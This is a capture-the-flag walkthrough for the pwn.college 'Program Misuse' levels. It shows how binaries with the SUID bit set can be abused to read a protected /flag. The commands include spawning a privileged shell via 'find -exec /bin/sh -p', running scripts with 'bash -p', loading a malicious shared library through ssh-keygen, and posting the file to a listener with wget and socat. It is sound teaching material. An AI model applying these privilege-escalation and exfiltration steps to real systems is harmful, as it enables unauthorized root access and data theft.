Program Misuse
cat
I just set the SUID bit on /usr/bin/cat.
Try to use it to read the flag!
We can just cat the flag.
hacker@program-misuse~level1:/$ cat /flag
more
I just set the SUID bit on /usr/bin/more.
Try to use it to read the flag!
The more utility is used to view the text files in the command prompt, displaying one screen at a time in case the file is large
hacker@program-misuse~level2:/$ more /flag
less
I just set the SUID bit on /usr/bin/less.
Try to use it to read the flag!
hacker@program-misuse~level3:/$ less /flag
tail
I just set the SUID bit on /usr/bin/tail.
Try to use it to read the flag!
hacker@program-misuse~level4:/$ tail /flag
head
I just set the SUID bit on /usr/bin/head.
Try to use it to read the flag!
hacker@program-misuse~level5:/$ head /flag
sort
I just set the SUID bit on /usr/bin/sort.
Try to use it to read the flag!
hacker@program-misuse~level6:/$ sort /flag
vim
I just set the SUID bit on /usr/bin/vim.
Try to use it to read the flag!
hacker@program-misuse~level7:/$ vim /flag
emacs
I just set the SUID bit on /usr/bin/emacs.
Try to use it to read the flag!
hacker@program-misuse~level8:/$ emacs /flag
nano
I just set the SUID bit on /usr/bin/nano.
Try to use it to read the flag!
hacker@program-misuse~level9:/$ nano /flag
rev
I just set the SUID bit on /usr/bin/rev.
Try to use it to read the flag!
The rev utility reverses the order of characters within a file.
hacker@program-misuse~level10:/$ rev /flag
The flag is reversed. In order to get the correct ordered flag, we have to pipe the above command with another rev.
hacker@program-misuse~level10:/$ rev /flag | rev
od
I just set the SUID bit on /usr/bin/od.
Try to use it to read the flag!
The od utility gives an octal dump of the data provided through STDIN.
If we provide the -c option, od will dump the ASCII representation.
hacker@program-misuse~level11:/$ od -c /flag
hd
I just set the SUID bit on /usr/bin/hd.
Try to use it to read the flag!
The hd utility gives an hexadecimal dump of the data provided through STDIN.
hacker@program-misuse~level12:/$ hd /flag
xxd
I just set the SUID bit on /usr/bin/xxd.
Try to use it to read the flag!
The xxd creates a hex dump of the input provided through STDIN.
hacker@program-misuse~level13:/$ xxd /flag
base32
I just set the SUID bit on /usr/bin/base32.
Try to use it to read the flag!
The base32 utility can be used to Base32 encode or decode data.
hacker@program-misuse~level14:/$ base32 /flag
THis prints the Base32 encoded flag string.
We can decode this string using the -d option.
hacker@program-misuse~level14:/$ base32 /flag | base32 -d
base64
I just set the SUID bit on /usr/bin/base64.
Try to use it to read the flag!
The base64 utility can be used to Base64 encode or decode data.
hacker@program-misuse~level15:/$ base64 /flag
This prints the Base64 flag string.
We can decode the string using the -d option.
hacker@program-misuse~level15:/$ base64 /flag | base64 -d
split
I just set the SUID bit on /usr/bin/split.
Try to use it to read the flag!
The split utility splits the given data based on the buffer size that is set.
The -x option prints an unbuffered stream of data.
hacker@program-misuse~level16:~$ split -x /flag
This prints the flag into a file xaa (could be different on your end).
hacker@program-misuse~level16:~$ cat xaa
gzip
I just set the SUID bit on /usr/bin/gzip.
Try to use it to read the flag!
The gzip utility compresses the file provided to it using Lempel-Ziv coding.
hacker@program-misuse~level17:/$ gzip /flag
We can use the -d option to decompress the flag.gz file. Also, we can use the -c option to print its content to STDOUT.
hacker@program-misuse~level17:/$ gzip -c -d /flag.gz
bzip2
I just set the SUID bit on /usr/bin/bzip2.
Try to use it to read the flag!
The bzip2 utility compresses files using the Burrows-Wheeler block sorting text compression algorithm, and Huffman coding.
We can use the -c option to print its content to STDOUT. Also, we can use the -d option to decompress the flag.gz file
hacker@program-misuse~level18:/$ bzip2 -c /flag | bzip2 -d
zip
I just set the SUID bit on /usr/bin/zip.
Try to use it to read the flag!
The zip is a compression and file packaging utility for Unix, VMS, MSDOS, OS/2, Windows 9x/NT/XP, Minix, Atari, Macintosh, Amiga, and Acorn RISC OS.
In order to use it, we have to specify a destination file as well.
hacker@program-misuse~level19:/$ zip /flag.zip /flag && cat /flag.zip
tar
I just set the SUID bit on /usr/bin/tar.
Try to use it to read the flag!
The tar utility is an archiving program designed to store multiple files in a single file (an archive), and to manipulate such archives.
hacker@program-misuse~level20:/$ tar -cvf flag.tar /flag && cat flag.tar
ar
I just set the SUID bit on /usr/bin/ar.
Try to use it to read the flag!
ar program creates, modifies, and extracts from archives.
We can specify the output file using the r option.
hacker@program-misuse~level21:/$ ar r /flag.a /flag && cat /flag.a
cpio
I just set the SUID bit on /usr/bin/cpio.
Try to use it to read the flag!
The cpio utility can be copy files between archives.
We can use the find command for the /flag , pipe it with cpio and redirect the output to the flag.cpio file.
hacker@program-misuse~level22:~$ find /flag | cpio -o > flag.cpio && cat flag.cpio
genisoimage
I just set the SUID bit on /usr/bin/genisoimage.
Try to use it to read the flag!
The genisoimage utility creates filesystem images.
In order to retrieve the flag, we have to use the following script:
hacker@program-misuse~level23:/$ for option in $(genisoimage --help 2>&1 | grep FILE | awk {'print $1'}); do echo $option; genisoimage $option /flag 2>&1 | grep pwn; done
env
I just set the SUID bit on /usr/bin/env.
Try to use it to read the flag!
The env utility sets the environment for another command.
We can pair it with cat to read the flag.
hacker@program-misuse~level24:/$ env cat /flag
find
I just set the SUID bit on /usr/bin/find.
Try to use it to read the flag!
hacker@program-misuse~level25:~$ find . -exec /bin/sh -p \;
#
# cat /flag
cat: /flagcat: No such file or directory
pwn.college{UsQ6vfq4dFoZ1Q5jlesvmOxUwqA.01N2EDL4ITM0EzW}
make
I just set the SUID bit on /usr/bin/make.
Try to use it to read the flag!
The make utility will determine automatically which pieces of a large program need to be recompiled, and issue the commands to recompile them.
Any command we specify within the Makefile is executed.
all:
cat /flag
In order to execute the Makefile, we have to run the make command in the same directory as the file.
hacker@program-misuse~level26:~$ make
nice
I just set the SUID bit on /usr/bin/nice.
Try to use it to read the flag!
The nice utility ca be used to adjust the process scheduling.
hacker@program-misuse~level27:/$ nice cat /flag
timeout
I just set the SUID bit on /usr/bin/timeout.
Try to use it to read the flag!
The timeout utility sets a time limit on the execution of a command.
hacker@program-misuse~level28:/$ timeout 1 cat /flag
stdbuf
I just set the SUID bit on /usr/bin/stdbuf.
Try to use it to read the flag!
The stdbuf utility adjusts buffering options for a command.
We can use the -oL option to
hacker@program-misuse~level29:~$ stdbuf -i0 cat /flag
setarch
I just set the SUID bit on /usr/bin/setarch.
Try to use it to read the flag!
The setarch utility sets the architecture for a command.
hacker@program-misuse~level30:/$ setarch -R cat /flag
watch
I just set the SUID bit on /usr/bin/watch.
Try to use it to read the flag!
The watch utility repeats a command at specified intervals.
hacker@program-misuse~level30:/$ watch -x cat /flag
socat
I just set the SUID bit on /usr/bin/socat.
Try to use it to read the flag!
The socat utility establishes two bidirectional byte streams and transfers data between them.
Let us set up a nc listener on port 80.
hacker@program-misuse~level32:/$ nc -nlvp 80
Listening on 0.0.0.0 80
Now, using socat, we can send the contents of /flag over port 80.
hacker@program-misuse~level32:/$ socat -u file:/flag tcp-connect:localhost:80
If we check back on our listener, we should have flag.
whiptail
I just set the SUID bit on /usr/bin/whiptail.
Try to use it to read the flag!
The whiptail utility allows us to present a variety of questions or display messages using dialog boxes from a shell script.
hacker@program-misuse~level33:/$ whiptail --textbox --scrolltext "$LFILE" 10 50
awk
I just set the SUID bit on /usr/bin/awk.
Try to use it to read the flag!
The AWK language is useful for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
We can use this language to read the /flag file and print the content to the STDOUT.
hacker@program-misuse~level34:/$ awk '{print $0}' /flag
sed
I just set the SUID bit on /usr/bin/sed.
Try to use it to read the flag!
sed is a stream editor that can be used to perform basic string transformation on data. It makes only one pass over the input.
hacker@program-misuse~level35:/$ sed 's/""/""/' /flag
ed
I just set the SUID bit on /usr/bin/ed.
Try to use it to read the flag!
ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. It makes multiple passes over the input.
hacker@program-misuse~level36:/$ ed -v /flag
57
The stream has been opened. We can now type p to retrieve the flag which starts with P and then type q to quit.
chown
I just set the SUID bit on /usr/bin/chown.
Try to use it to read the flag!
The chown utility changes the user and/or group ownership of each given file.
hacker@program-misuse~level37:/$ chown hacker /flag && cat /flag
chmod
I just set the SUID bit on /usr/bin/chmod.
Try to use it to read the flag!
The chmod changes the file mode bits of each given file.
hacker@program-misuse~level38:/$ chmod 777 /flag && cat /flag
cp
I just set the SUID bit on /usr/bin/cp.
Try to use it to read the flag!
The cp utility copies a file to the specified destination.
We know that the /home/hacker directory is a persistent one, i.e. every file in this directory is unmodified through all the levels. Knowing this, we can copy the /flag to this directory.
hacker@program-misuse~level39:~$ cp /flag flag.copy
Now, we can load level 1, and just cat the flag.copy file.
hacker@program-misuse~level1:~$ cat flag.copy
mv
I just set the SUID bit on /usr/bin/mv.
Try to use it to read the flag!
The mv utility moves the specified file to the specified destination.
We know that the /home/hacker directory is a persistent one, i.e. every file in this directory is unmodified through all the levels. Knowing this, we can copy the /flag to this directory.
hacker@program-misuse~level40:~$ mv /flag flag.move
Now, we can load level 1, and just cat the flag.copy file.
hacker@program-misuse~level1:~$ cat flag.move
perl
I just set the SUID bit on /usr/bin/perl.
Try to use it to read the flag!
Perl is a scripting language. As such, ew can use the following script to read the /flag.
open(fh, "/flag");
$firstline = <fh>;
print "$firstline\n";
We have to use the perl utility to execute the script.
hacker@program-misuse~level41:~$ perl babysuid41.pl
python
I just set the SUID bit on /usr/bin/python.
Try to use it to read the flag!
Python is a scripting language. As such, we can use the following script to read the /flag.
with open("/flag", "r") as flag:
print(flag.read())
We have to use the python utility to execute the script.
hacker@program-misuse~level42:~$ python babysuid42.py
ruby
I just set the SUID bit on /usr/bin/ruby.
Try to use it to read the flag!
Ruby is a scripting language. As such, we can use the following script to read the /flag.
fileObject = File.open("/flag","r");
print(fileObject.read());
fileObject.close();
We have to use the ruby utility to execute the script.
hacker@program-misuse~level43:~$ ruby babysuid43.rb
bash
I just set the SUID bit on /usr/bin/bash.
Try to use it to read the flag!
Bash is a scripting language. As such, we can use the following script to read the /flag.
cat /flag
We have to use the bash along with the -p option to execute the script.
hacker@program-misuse~level44:~$ bash -p babysuid44.sh
date
I just set the SUID bit on /usr/bin/date.
Try to use it to read the flag!
The date utility displays the current time.
If we provide the /flag file to date, it prints out the flag within the error message.
hacker@program-misuse~level45:/$ date -f /flag
dmesg
I just set the SUID bit on /usr/bin/dmesg.
Try to use it to read the flag!
dmesg is used to examine or control the kernel ring buffer.
We can use the -F option to specify a file to read from.
hacker@program-misuse~level46:/$ dmesg -F /flag
wc
I just set the SUID bit on /usr/bin/wc.
Try to use it to read the flag!
The wc command is used for word counting.
We can use the --files0-from option such that the flag is printed out in the error message.
hacker@program-misuse~level47:/$ wc --files0-from=/flag
gcc
I just set the SUID bit on /usr/bin/gcc.
Try to use it to read the flag!
The gcc utility is used for preprocessing, compilation, assembly and linking files.
Let us write a simple C script.
#include </flag>
int main {
puts("Hello");
}
We can compile the C code using gcc.
hacker@program-misuse~level48:~$ gcc -L / babysuid48.c
Since we are including /flag, which we do not have access to the compilation is going to result in an error. However, within the error messages, we can read the flag.
as
I just set the SUID bit on /usr/bin/as.
Try to use it to read the flag!
The as utility is an assembler for programming languages.
hacker@program-misuse~level49:/$ as /flag
wget
I just set the SUID bit on /usr/bin/wget.
Try to use it to read the flag!
Let us set up a nc listener.
hacker@program-misuse~level50:/$ nc -nlvp 80
Listening on 0.0.0.0 80
Let's now POST the /flag file to our listener.
hacker@program-misuse~level50:/$ wget --post-file=/flag http://localhost
--2024-05-21 16:00:46-- http://localhost/
Resolving localhost (localhost)... ::1, 127.0.0.1
Connecting to localhost (localhost)|::1|:80... failed: Connection refused.
Connecting to localhost (localhost)|127.0.0.1|:80... connected.
HTTP request sent, awaiting response...
If we check back on the nc listener, we should have received the flag.
ssh-keygen
include <stdio.h>
int C_GetFunctionList()
{
FILE *fptr;
fptr = fopen("/flag", "r");
char myString[100];
fgets(myString, 100, fptr);
printf("%s", myString);
fclose(fptr);
}
int main()
{
puts("Hello");
}
hacker@program-misuse~level51:~$ gcc babysuid51.c -o babysuid51 -shared -no-pie
hacker@program-misuse~level51:~$ ssh-keygen -D ./babysuid51